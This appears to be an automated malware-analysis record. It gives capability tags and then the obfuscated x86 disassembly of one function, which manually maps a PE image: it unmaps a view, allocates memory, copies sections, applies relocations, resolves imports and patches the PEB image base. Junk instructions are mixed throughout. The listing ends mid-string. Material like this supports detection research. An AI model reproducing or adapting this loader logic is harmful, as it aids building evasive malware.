Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
push ebx
push esi
push edi
mov edx, 3
bswap edx
neg ebx
imul esi
rol edi, 0x6a
inc esi
ror ebx, 0xe8
rcl edx, 0xf0
dec eax
add edi, 0x6d
bswap edi
ror ebx, 0x17
neg esi
not ebx
sub eax, 0x9b
imul eax
inc edx
rcl eax, 0x32
dec edi
not ebx
or ebx, 0x81
sub ebx, 0xad
dec edi
rcl ebx, 0xa6
inc edx
add edx, 0xe7
add ebx, 0x34
add edx, 0xc6
bswap esi
imul edx
bswap edi
rcl esi, 0xbc
inc eax
not edx
neg edi
neg edi
sbb edx, 0xbf
imul edi
not edx
dec esi
ror edi, 0xf8
rol eax, 0x4c
or edi, 0x27
rcr edx, 0xf3
sbb edx, 0x2b
dec ebx
ror edi, 0x32
ror edi, 0xc3
add edx, 0xfc
dec esi
mov eax, 0x78
not edx
not edx
ror edi, 0xee
dec ebx
imul edi
rcl eax, 0xfe
inc eax
neg edi
or ebx, 0xc6
dec edx
dec ebx
neg edi
imul ebx
imul edx
imul eax
add eax, 0x5e
bswap edx
sub edx, 1
ror edx, 0x3f
not edi
sub edi, 0xbb
ror eax, 0x72
sbb edx, 0xcd
dec ebx
inc ebx
sbb eax, 0xbe
add ebx, 0x60
ror ebx, 0x28
and eax, 0x86
bswap edx
rcr edx, 0xfa
bswap esi
neg eax
bswap ebx
sbb eax, 0x98
neg esi
not eax
bswap eax
bswap esi
rcr esi, 0xb6
inc ebx
dec ebx
or ebx, 0xe2
rcr esi, 0x98
dec edx
imul edi
bswap edx
mov esi, 0xa
and ebx, 0x6b
dec edi
neg eax
sbb edx, 0xc
inc ebx
and edx, 0xcc
neg edi
and ebx, 0x8f
or eax, 0x18
or edi, 0xec
dec eax
dec ebx
rcl edi, 0x10
neg edi
bswap ebx
inc edx
not eax
rcl eax, 0x70
or edx, 0x9e
and edx, 0x80
rcl edx, 0xa9
sub ebx, 0xff
ror edi, 0x1d
rcr eax, 0x81
not ebx
rol edi, 0x6b
ror edx, 0x67
or edx, 0xcd
neg esi
neg ebx
bswap eax
rcr esi, 0xd2
and ebx, 0x9e
imul edx
and esi, 0x98
sub esi, 0x7a
not ebx
dec edi
rcr esi, 0x10
rol edx, 0xd6
dec edi
rcr edx, 0xac
bswap edx
inc ebx
rcr ebx, 0x3b
imul edx
rol ebx, 0x22
bswap ebx
neg eax
bswap edi
mov ebx, 0xdf
rcl edx, 0xc0
add edx, 0xd7
dec esi
or ebx, 0xe
and edi, 0xe2
rcr ebx, 0x80
sub edx, 0x26
sbb eax, 0x82
imul esi
imul ebx
bswap edx
mov edi, 0x97
sub esi, 0x65
dec edx
ror eax, 0x8c
rcl edx, 0x7b
sub ebx, 0x8d
add edi, 0xc1
sbb eax, 0xc4
neg edx
dec eax
inc edi
sbb ebx, 0xba
mov esi, 0xf7
sbb ebx, 0xe5
rol edi, 0xe0
or edi, 0x57
add edx, 0x8a
dec edx
or edi, 0xea
not eax
neg esi
not edi
rcr edi, 0xfb
inc esi
ror edi, 0xd4
ror ebx, 0xec
imul eax
rcl edx, 0x86
and edx, 0x3f
dec eax
neg eax
and ebx, 0xd3
inc ebx
bswap edi
inc ebx
dec ebx
bswap esi
dec esi
bswap ebx
push 0x4e600
push 0x40d008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40d008
dec edx
neg edx
inc eax
sub edi, 0x10
dec edx
sub esi, 0xc4
ror eax, 0x25
imul edx
dec edx
inc esi
add edi, 0xcd
not edx
sub edi, 0x2c
dec edi
rcl eax, 0x20
rcl eax, 0xec
bswap esi
not ebx
imul ebx
add ebx, 0x46
add edi, 0x58
ror eax, 0x2c
bswap edi
ror esi, 0xe7
and esi, 0x1c
not edx
imul esi
and ebx, 0x6f
rcr esi, 0xac
or eax, 0x2d
sbb ebx, 0x98
imul edx
bswap ebx
neg esi
bswap esi
bswap ebx
inc ebx
not edi
dec ebx
rcr ebx, 0x26
sub esi, 0
rol esi, 0xac
not eax
inc ebx
or ebx, 0xdd
bswap ebx
rcr esi, 0x7c
imul ebx
dec ebx
imul eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x88]
cmp dword [eax], 0x4550
je 0x40830b
mov eax, 1
jmp 0x409995
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x408338
xor eax, eax
jmp 0x409995
mov ecx, dword [ebp - 0xf8]
mov dword [0x45c260], ecx
xor edx, edx
mov dword [ebp - 0x174], edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x168], edx
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0x170]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x16c]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xe8], eax
push 0x44
push 0
lea ecx, [ebp - 0x1b8]
push ecx
call fcn.004015d0
add esp, 0xc
mov ecx, 0x11
lea esi, [ebp - 0x1b8]
lea edi, [ebp - 0xd8]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xd8], 0x44
mov edx, dword [ebp - 0x88]
mov eax, dword [edx + 0xa0]
mov ecx, dword [edx + 0xa4]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], ecx
cmp dword [ebp - 0x110], 0
je 0x4083f1
mov dword [ebp - 0x1bc], 0
jmp 0x408400
mov edx, dword [ebp - 0x88]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0x1bc], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x88]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x110], 0
jne 0x408448
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
cmp edx, dword [ecx + 0x34]
je 0x408448
mov eax, 2
jmp 0x409995
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [0x45c260]
ror edi, 0x76
imul eax
neg edx
ror ebx, 0xb2
not esi
bswap edi
imul eax
sbb eax, 0x67
bswap ebx
mov esi, 0x74
bswap edi
mov edx, 0x9b
add esi, 0x9f
not edi
or edi, 0x9b
neg ebx
sbb esi, 0x8b
sbb esi, 0x25
neg esi
rcl edi, 0x7c
rcr ebx, 0xca
mov ebx, 0x79
dec ebx
or ebx, 0xba
add esi, 0x93
sbb ebx, 0x23
sub ebx, 0x55
add eax, 0x2f
rol ebx, 0xd2
rcr edi, 0xc9
rcr esi, 0xd1
bswap eax
not esi
sbb edi, 0xa2
add esi, 0x3d
ror edi, 0xf
not edi
or ebx, 0xcb
rol edx, 0xad
add esi, 0x41
rcr ebx, 0xf9
imul ebx
rcr esi, 0xfb
bswap ebx
neg edx
dec ebx
imul edi
bswap esi
imul esi
mov edi, 0xc
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x84]
push eax
call fcn.00401260
add esp, 0xc
rcr esi, 0x77
sub ebx, 0xa3
imul edx
rcr eax, 0x23
inc edx
inc edi
not edx
rcr ebx, 0x54
or eax, 0xf2
sbb ebx, 0x77
rol esi, 0x9c
not eax
imul edx
ror edi, 0xfe
mov edi, 0xb4
bswap ebx
bswap esi
ror ebx, 0x7b
inc edi
inc esi
neg esi
dec edx
not edx
neg esi
rcr esi, 0xfb
sbb esi, 0x93
dec esi
imul edx
not edx
ror ebx, 0x5b
ror ebx, 0x94
dec edi
rol esi, 0x91
imul eax
sbb ebx, 0x87
neg esi
dec esi
mov edx, 0xf0
imul edi
inc eax
and ebx, 0x1f
imul eax
bswap edx
neg ebx
sub eax, 5
not edi
or edx, 0xb
imul edx
sbb eax, 0xba
dec edx
dec edx
neg edx
add edx, 0xbe
rcl edi, 0x7b
inc edi
imul edx
inc edi
or edx, 0xeb
and esi, 0xc4
sub edx, 0xeb
inc eax
rcl esi, 0x53
add eax, 0x92
not edi
sub eax, 0x35
sub ebx, 0x73
dec ebx
rol edi, 0x76
rol esi, 0xcb
rcl edx, 0x18
dec esi
not edi
bswap edi
not esi
or edi, 0xf4
neg eax
rcl edx, 0xe
neg ebx
inc edi
bswap edi
inc esi
dec eax
bswap edx
mov esi, 0x93
imul edi
mov esi, 0xe1
imul edi
add edx, 0x55
not edi
inc esi
add ebx, 0x7b
sbb edi, 0xd3
bswap ebx
ror esi, 0x2b
sub esi, 0xb5
neg eax
rcl esi, 0xc8
not edi
sub edi, 0x33
inc edi
not ebx
and ebx, 0x3b
add edi, 0xf4
inc eax
bswap eax
rcl ebx, 0x97
inc edx
dec edx
inc esi
rcr edi, 0xbf
inc ebx
dec eax
dec edx
neg edi
inc esi
neg esi
not esi
ror eax, 0x8b
imul ebx
and edi, 0x94
sbb ebx, 0x8e
and eax, 0x88
dec edx
rcl edx, 0x97
inc eax
and eax, 2
bswap esi
and ebx, 0x3c
or esi, 0x25
rol esi, 0x9c
inc eax
neg ebx
dec edx
rol ebx, 0x67
inc eax
ror ebx, 0xb
inc edx
bswap eax
not ebx
sbb eax, 0x5c
ror edx, 0xc8
rol ebx, 0xf1
bswap eax
sbb eax, 0x3e
not eax
imul ebx
sub eax, 0xf6
imul eax
rcr ebx, 0xee
ror eax, 0xa2
not ebx
sbb ebx, 0xd9
bswap ebx
rcr ebx, 0x3b
ror esi, 0xef
inc eax
mov esi, 0xb
sbb edx, 0xc9
rol ebx, 0xbe
not esi
rcl edx, 0x4f
dec ebx
rcr esi, 0xf0
and edi, 0xf2
rcl esi, 0x89
imul esi
add edx, 0xf8
rol eax, 0x74
sub edi, 0x6f
rcl edx, 0x5f
mov edi, 0xc5
dec edx
sub esi, 0x53
imul edi
and ebx, 0x6c
rcl edx, 0x10
imul edx
inc edx
inc edi
and edi, 0xed
imul edx
mov eax, 1
rol edi, 0x2f
sub edi, 0x58
inc esi
or edi, 0x69
rol ebx, 0x29
sub eax, 0x13
not eax
imul esi
inc esi
not edi
ror esi, 0xf9
and esi, 0x1a
imul eax
neg esi
add ebx, 0x72
mov ebx, 0x77
bswap edi
neg ebx
inc edi
neg edx
inc edi
imul esi
or edx, 0xe1
neg esi
bswap edi
neg esi
dec edi
sbb edx, 0x4f
add ebx, 0x9f
rcr esi, 0xf1
rcr esi, 0x44
or eax, 0x8c
add esi, 0xfb
rcl esi, 0x83
neg edi
imul edx
mov ebx, 0x6b
sub eax, 0xe7
ror eax, 0xf3
sub ebx, 0x72
inc esi
not esi
mov ebx, 0x90
rcl edi, 0xbc
mov edx, 0xf
rol edi, 0xa5
not eax
not esi
inc edx
rcr edi, 0x37
imul edi
dec ebx
dec eax
not ebx
bswap eax
not eax
neg eax
bswap ebx
neg esi
imul ebx
inc ebx
not eax
not edx
rcr edx, 0x4e
rol esi, 0x91
bswap esi
rcr eax, 0xb9
not ebx
mov ecx, dword [ebp - 0x88]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x88]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0xe0], ecx
mov dword [ebp - 0x120], 0
jmp 0x4087dd
mov edx, dword [ebp - 0x120]
add edx, 1
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x88]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x120], ecx
jge 0x40883e
mov edx, dword [ebp - 0x120]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0x120]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0x120]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401260
add esp, 0xc
jmp 0x4087ce
mov edi, 0xc9
ror edx, 0x82
rol esi, 8
or esi, 0xb
neg edx
bswap edx
bswap ebx
inc ebx
inc edi
inc esi
bswap edi
sub edi, 0x1e
bswap ebx
mov eax, 0xfc
inc edx
ror eax, 0x27
not edx
bswap esi
imul esi
imul esi
or esi, 0x71
dec ebx
inc edx
not edi
or eax, 0xe2
neg edx
bswap esi
neg edx
or edi, 0xc9
ror ebx, 0x68
neg ebx
rcr eax, 0xb6
not esi
imul ebx
and eax, 0x5a
rcl esi, 0x3c
sbb edi, 0x59
sbb edi, 0x99
rcl esi, 0xe3
rcl ebx, 0x69
rol edi, 0x82
dec esi
add esi, 0xa4
ror ebx, 0x71
mov ebx, 0x66
not esi
imul edi
rcr edi, 0xf7
sbb ebx, 0xc
bswap esi
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
cmp eax, dword [edx + 0x34]
je 0x4089f9
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x114]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x12c], 0
mov ecx, dword [ebp - 0x12c]
cmp ecx, dword [ebp - 0x110]
jae 0x4089f9
mov edx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x84]
add eax, dword [edx]
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x124]
add eax, 8
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x13c], 0
jmp 0x40896e
mov ecx, dword [ebp - 0x13c]
add ecx, 1
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x13c]
cmp edx, dword [ebp - 0x134]
jge 0x4089d3
mov eax, dword [ebp - 0x138]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x4089c2
mov edx, dword [ebp - 0x138]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0x130]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x138]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0x130]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0x138]
add ecx, 2
mov dword [ebp - 0x138], ecx
jmp 0x40895f
mov edx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x12c]
add eax, dword [edx + 4]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x124], ecx
jmp 0x40890a
sbb edi, 0xbd
not edi
not edi
rcr esi, 0xdf
add esi, 0xa4
not esi
sbb eax, 0x74
add ebx, 0x8d
bswap esi
mov edi, 0xfd
rol ebx, 0xd3
rcr edx, 0xf
dec eax
not edi
rol esi, 0x2e
rcr ebx, 0xe0
not esi
not ebx
dec esi
add edx, 0xbd
sbb ebx, 0x28
neg edx
sub eax, 0xb1
add edi, 0xc8
or edx, 0x64
dec edx
add eax, 0x2d
imul ebx
and ebx, 0x2a
bswap edi
ror esi, 0xbb
neg edi
neg eax
sbb edx, 6
inc esi
add edi, 0x35
rcl edi, 0x87
bswap esi
mov ebx, 0x35
mov edx, 0x40
inc ebx
mov esi, 0x39
rol edi, 0xd2
bswap ebx
mov edx, 0x29
dec edi
not esi
dec ebx
mov esi, 0x21
dec eax
imul eax
dec ebx
inc edi
rol ebx, 0xc6
dec esi
add edi, 0x93
sbb eax, 0xe4
sub esi, 0xbe
dec edi
dec ebx
bswap edi
bswap eax
sbb eax, 0x15
neg eax
imul esi
rcl ebx, 0xe4
ror edi, 0x5b
mov edi, 0xd1
dec esi
dec ebx
mov eax, 0xc3
rol edi, 0x89
mov esi, 0xdd
rcl edx, 0xa8
or edx, 0xdf
add edi, 0x69
or eax, 0xf0
mov ebx, 0x42
bswap esi
rol edi, 0x58
not edi
neg edi
dec ebx
mov eax, 0x8a
dec eax
mov eax, 0x67
mov esi, 0x78
sub eax, 0x5f
rol edi, 0x76
neg eax
dec edi
inc esi
not ebx
sbb edx, 0x27
sub edx, 0x5c
rol edx, 0xcf
dec edx
neg edx
and ebx, 0xe9
sub edi, 0x8a
sbb eax, 0x9c
and esi, 0x78
imul edx
ror edx, 0xfa
not edi
rol esi, 0xb4
sub esi, 0x29
bswap eax
mov eax, 0xcd
not ebx
sub eax, 0xb4
not edx
and edx, 0x12
dec ebx
dec edx
neg edx
ror ebx, 0xe6
dec eax
sbb esi, 0x89
imul ebx
mov eax, 0x39
dec edx
rcl edx, 0xaf
dec edx
dec ebx
add esi, 0xfd
sbb edx, 0x6f
imul edx
not edx
mov eax, 0xcd
rcr esi, 0xe1
ror ebx, 0x3d
inc esi
sbb eax, 0x3f
not edx
sub eax, 0x1c
not eax
dec ebx
and edx, 0x79
imul edi
rcr esi, 0x50
dec edx
bswap eax
inc edi
not esi
bswap ebx
mov esi, 0x2e
add ebx, 0x11
imul esi
inc edx
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x140], 0
jmp 0x408bd6
mov ecx, dword [ebp - 0x140]
add ecx, 1
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x140]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xe4]
cmp dword [eax + edx + 0x10], 0
je 0x408d14
mov ecx, dword [ebp - 0x140]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x84]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
jne 0x408c2d
jmp 0x408bc7
mov edx, dword [ebp - 0x140]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x150], 0
jmp 0x408c67
mov edx, dword [ebp - 0x150]
add edx, 1
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x148]
cmp dword [ecx + eax*4], 0
je 0x408d0f
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x158], ecx
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x148]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jne 0x408ce2
mov eax, dword [ebp - 0x158]
add eax, 2
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x154], eax
mov edx, dword [ebp - 0x140]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x154]
mov dword [ecx + edx*4], eax
jmp 0x408c58
jmp 0x408bc7
mov dword [ebp - 0x15c], 0
jmp 0x408d2f
mov ecx, dword [ebp - 0x15c]
add ecx, 1
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x88]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x15c], eax
jge 0x408e4d
mov dword [ebp - 0x160], 0x40
mov ecx, dword [ebp - 0x15c]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0xe0]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
and ecx, 0x40000000
je 0x408d9d
mov edx, dword [ebp - 0x164]
and edx, 0x80000000
je 0x408d9d
mov eax, dword [ebp - 0x164]
and eax, 0x20000000
je 0x408d9d
mov dword [ebp - 0x160], 0x40
jmp 0x408e04
mov ecx, dword [ebp - 0x164]
and ecx, 0x40000000
je 0x408dc5
mov edx, dword [ebp - 0x164]
and edx, 0x80000000
je 0x408dc5
mov dword [ebp - 0x160], 4
jmp 0x408e04
mov eax, dword [ebp - 0x164]
and eax, 0x40000000
je 0x408dec
mov ecx, dword [ebp - 0x164]
and ecx, 0x20000000
je 0x408dec
mov dword [ebp - 0x160], 0x20
jmp 0x408e04
mov edx, dword [ebp - 0x164]
and edx, 0x40000000
je 0x408e04
mov dword [ebp - 0x160], 2
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [ebp - 0x160]
push ecx
mov edx, dword [ebp - 0x15c]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x15c]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401240
add esp, 0x10
jmp 0x408d20
mov edx, 0xe3
mov edx, 0xb
rcr eax, 8
rol edx, 0x48
sbb esi, 0xc0
rol esi, 0xff
neg edx
mov esi, 0x6e
rcr esi, 0x3a
bswap edx
bswap edi
sbb edx, 0x41
sbb eax, 0x47
ror edx, 0x51
inc edx
imul ebx
imul ebx
dec edi
dec edx
bswap esi
add edi, 0x6d
add edx, 0xb4
ror esi, 0xdc
sub edx, 0x6f
imul esi
neg edx
mov ebx, 0xba
rol esi, 0x42
neg esi
imul ebx
sub edx, 0xc4
rcl eax, 0xd0
not esi
dec ebx
dec ebx
sbb esi, 0x3e
rol eax, 0x84
or esi, 0x46
inc edx
rcr ebx, 0xf4
dec esi
sub ebx, 0xcf
dec ebx
imul eax
bswap esi
not edi
bswap edi
rcr eax, 0x60
dec esi
not edx
sbb ebx, 0xf1
dec esi
mov edi, 0x7e
rcl edx, 0xa4
rcr esi, 0x18
imul edi
dec edi
inc ebx
add edi, 0x8b
ror edi, 0xf3
mov edi, 0x10
and edx, 0x52
bswap ebx
rcr edx, 0x74
not edi
rcl edx, 0xcc
dec esi
sbb ebx, 0x1e
ror edx, 0x7e
mov edx, 0x14
ror edx, 0x91
imul edx
inc eax
inc edi
sbb esi, 0xe0
neg eax
mov edi, 0xe1
bswap esi
not edx
imul edx
dec edx
not esi
not esi
add esi, 0x18
rcr eax, 0xdc
rol eax, 0x4f
sbb edi, 0xa9
bswap edi
rcl ebx, 0xbd
ror esi, 0x76
and esi, 0x6e
imul edx
sub edx, 0xe6
imul esi
and edi, 0xd9
rcr ebx, 0xce
bswap edx
rol esi, 5
inc eax
or edx, 0xa8
or eax, 0xb5
ror esi, 0xd9
imul edi
mov edx, 0x67
rol eax, 0x66
dec eax
sbb esi, 0x3e
inc edi
and esi, 0x4a
neg edi
dec eax
not eax
rcr eax, 0x4a
bswap edx
bswap ebx
imul esi
dec ebx
not edi
mov esi, 0xdb
and edi, 0xb9
ror edx, 0xea
dec ebx
sbb eax, 0x66
bswap eax
imul esi
inc edi
or edi, 0x4f
and esi, 0x62
sub edi, 0xa4
bswap esi
add edi, 0x85
imul edx
and edi, 0xfe
dec edi
rcl eax, 0x42
imul ebx
rcl edi, 0x75
or edx, 0xde
dec edi
mov eax, 0xb1
or edx, 0x30
dec esi
imul esi
dec ebx
bswap edi
mov eax, 0xc5
sbb edx, 0x95
imul eax
add ebx, 0x44
dec ebx
mov edx, dword fs:[0x30]
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x8c]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0xdc], eax
sbb ebx, 0x95
sbb edx, 0x7f
sbb edx, 0xdb
dec ebx
not edi
dec esi
not eax
rol edi, 0x89
neg edx
dec esi
mov edi, 0x2b
inc eax
or ebx, 7
and edi, 0xf6
ror ebx, 0xb2
neg edx
not edi
ror ebx, 0x20
sbb eax, 0x90
rcr edi, 0xcf
rcr eax, 0x4e
inc edx
sbb edx, 0x1a
neg ebx
rcl esi, 0xb6
rol edx, 0x24
add eax, 3
bswap edx
and eax, 0xc4
bswap esi
bswap esi
rcr eax, 0x52
rol ebx, 0x3d
imul edi
neg ebx
ror eax, 0x26
rol eax, 0xf7
dec edx
and edi, 0x9b
mov esi, 0xb0
add edi, 0x61
imul edi
imul edx
imul esi
not edi
add eax, 0x92
dec ebx
imul esi
mov edx, 0x66
rcl eax, 0xda
add ebx, 9
ror edx, 0x2f
not ebx
imul eax
dec edx
sub edx, 0x57
neg ebx
bswap ebx
neg edi
mov ebx, 0xa1
neg esi
dec edx
or eax, 0xa5
rcl eax, 0x8f
add edi, 0xeb
and edx, 0x4d
neg esi
rol edi, 7
inc edx
rcr eax, 0xbb
rol eax, 0x7e
and eax, 0xb4
rol edi, 0x54
and edx, 0x3b
bswap ebx
rcr esi, 0xd1
imul ebx
sub esi, 0xb0
sbb edx, 5
neg edi
imul ebx
rol edi, 0x3a
bswap eax
neg edi
add edx, 0xa7
inc edx
not edx
rcl esi, 0xeb
bswap edx
bswap edi
rol edi, 0xd8
rol esi, 0x80
imul edx
inc esi
dec edi
rcr eax, 0x1f
sbb eax, 0xb7
inc eax
neg ebx
neg edi
bswap esi
mov edi, 0x1c
imul ebx
and edi, 0xf1
neg eax
dec ebx
inc eax
rcl ebx, 0x9b
rol edx, 0x9d
rol edx, 0x26
inc esi
neg edi
imul esi
imul edx
or eax, 0x7c
inc ebx
inc eax
inc esi
add ebx, 0xd1
and esi, 0x4e
sbb edx, 0x1f
mov edx, 0xba
and ebx, 0x53
inc edx
rol edx, 0x9f
add edx, 0xa2
rcl edi, 0x60
not ebx
ror eax, 0x96
dec eax
not eax
and edx, 0x92
sbb edi, 0xf
ror ebx, 0xef
inc eax
ror edi, 0x57
imul eax
inc esi
inc edx
rol eax, 0xef
inc edi
neg edi
not edx
ror ebx, 0xd6
mov eax, 0x2a
rcr eax, 8
rcl edi, 0x8f
rcr esi, 0x8a
not edi
and eax, 0x5e
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x84]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x84]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0xdc]
add edx, 0x24
mov dword [ebp - 0xfc], edx
ror ebx, 0x92
bswap ebx
bswap ebx
dec edi
sub ebx, 0x4a
neg edi
dec eax
dec edi
and esi, 0xdf
imul ebx
dec ebx
rcr edi, 0xdf
sbb edx, 0xfe
imul edi
not esi
rol edx, 0x67
not edx
rcr eax, 0x51
mov edx, 0x89
dec ebx
bswap esi
rol ebx, 0x69
inc ebx
dec eax
or eax, 0x9e
not eax
not edi
inc esi
not edi
add edx, 0xed
and edi, 0x71
imul esi
or edx, 0x45
add edi, 0x22
add edi, 0xc4
neg esi
sbb eax, 0x3e
neg ebx
sbb eax, 0x1c
sbb eax, 0x92
neg edi
not edi
neg ebx
sbb eax, 0xb8
dec edx
imul esi
imul eax
not esi
imul edi
ror esi, 0xa7
imul edi
bswap edi
neg edx
inc edx
or ebx, 0xae
inc ebx
mov edx, 0x78
add edx, 4
dec edx
sub esi, 0xaf
rol edx, 0x74
sbb ebx, 0x3b
not esi
rcl edi, 0x1c
neg edi
bswap esi
bswap ebx
imul ebx
ror ebx, 0x89
and edi, 0x82
add edi, 0xbf
not esi
dec eax
rcl esi, 0xfa
rcl eax, 0xd4
sub esi, 0xf2
not eax
neg eax
sbb eax, 0xb3
not esi
and esi, 0x39
and eax, 0x2f
sub esi, 0x6e
add edx, 0x9f
dec eax
sbb edx, 0xda
and edx, 0x23
inc edx
inc esi
rol ebx, 0xcb
add edx, 0xdf
inc eax
rcl edi, 0xfd
bswap eax
imul edx
and ebx, 0x60
not edi
dec eax
and ebx, 0x2b
ror edi, 0x5a
add ebx, 0xeb
rcl eax, 0x90
and edi, 0xde
rcr edi, 0xe7
dec esi
dec ebx
neg edi
or esi, 0x90
add ebx, 0x79
not ebx
rol ebx, 0xaf
rcr ebx, 0xfd
rol eax, 0x44
dec edi
add edi, 0x87
rol eax, 0x14
or ebx, 0xa2
bswap eax
dec edx
inc edi
neg edx
rol esi, 0x7c
and eax, 0x1f
and eax, 0xbc
sbb ebx, 0x52
or ebx, 0xf1
bswap esi
bswap esi
neg ebx
rcl edx, 0xa4
neg esi
not eax
ror eax, 0xec
not edx
dec eax
bswap ebx
inc esi
rcr esi, 8
not edi
imul edi
neg ebx
bswap esi
rcr esi, 0x16
sub eax, 0xc9
or esi, 0xc2
inc ebx
sbb eax, 0x94
inc edi
imul esi
neg edi
mov eax, 0x43
mov word [ebp - 0x80], ax
mov ecx, 0x3a
mov word [ebp - 0x7e], cx
mov edx, 0x5c
mov word [ebp - 0x7c], dx
mov eax, 0x57
mov word [ebp - 0x7a], ax
mov ecx, 0x69
mov word [ebp - 0x78], cx
mov edx, 0x6e
mov word [ebp - 0x76], dx
mov eax, 0x64
mov word [ebp - 0x74], ax
